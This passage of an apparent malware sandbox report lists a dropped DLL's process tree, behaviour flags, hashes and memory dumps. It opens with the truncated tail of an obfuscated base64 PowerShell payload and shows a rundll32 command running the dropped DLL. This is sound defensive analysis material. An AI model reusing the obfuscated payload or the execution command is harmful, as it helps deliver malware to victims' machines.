3AD0AKAAoACcASwAnACsAJwBlAF8AJwApACsAJwA4ACcAKwAoACcAdgAnACsAJwA2AGYAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEIAYgAzAG8AOQBqAGQAPQAoACgAJwBJACcAKwAnAGcAeAAnACkAKwAnAHQAJwArACgAJwB3AHQAJwArACcAdwAnACkAKQA=2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Edgb34u\M7kme7d\Eo7kvut.dll,03⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Edgb34u\M7kme7d\Eo7kvut.dll,04⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Checks whether UAC is enabled
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\Edgb34u\M7kme7d\Eo7kvut.dllMD5
46e95b9db849cf51eb1b24d2db6a851a
SHA13a9349f512d29ee963078c624dffeb16b30a3ddf
SHA2560092c5c2c195188636724d91f2da7d4840e37d7e8dc3271e066664b66183f463
SHA5123d000cc370109c4e50da69404492ea91b459c4a25f64cdbb4f14b025c9ce1447e512182d33a31e5830a7891af5c63345b19849a096b3572d10caa2e8cb5c7612
-
\Users\Admin\Edgb34u\M7kme7d\Eo7kvut.dllMD5
46e95b9db849cf51eb1b24d2db6a851a
SHA13a9349f512d29ee963078c624dffeb16b30a3ddf
SHA2560092c5c2c195188636724d91f2da7d4840e37d7e8dc3271e066664b66183f463
SHA5123d000cc370109c4e50da69404492ea91b459c4a25f64cdbb4f14b025c9ce1447e512182d33a31e5830a7891af5c63345b19849a096b3572d10caa2e8cb5c7612
-
memory/2068-8-0x0000000000000000-mapping.dmp
-
memory/2068-9-0x00007FFF39B10000-0x00007FFF3A4FC000-memory.dmpFilesize
9.9MB
-
memory/2068-10-0x00000258B5120000-0x00000258B5121000-memory.dmpFilesize
4KB
-
memory/2068-11-0x00000258CD460000-0x00000258CD461000-memory.dmpFilesize
4KB
-
memory/2808-7-0x0000000000000000-mapping.dmp
-
memory/4048-14-0x0000000000000000-mapping.dmp
-
memory/4048-16-0x00000000041A0000-0x00000000041DD000-memory.dmpFilesize
244KB
-
memory/4080-12-0x0000000000000000-mapping.dmp
-
memory/4768-2-0x00007FFF41690000-0x00007FFF41CC7000-memory.dmpFilesize
6.2MB
-
memory/4768-3-0x000002254FAE8000-0x000002254FB2E000-memory.dmpFilesize
280KB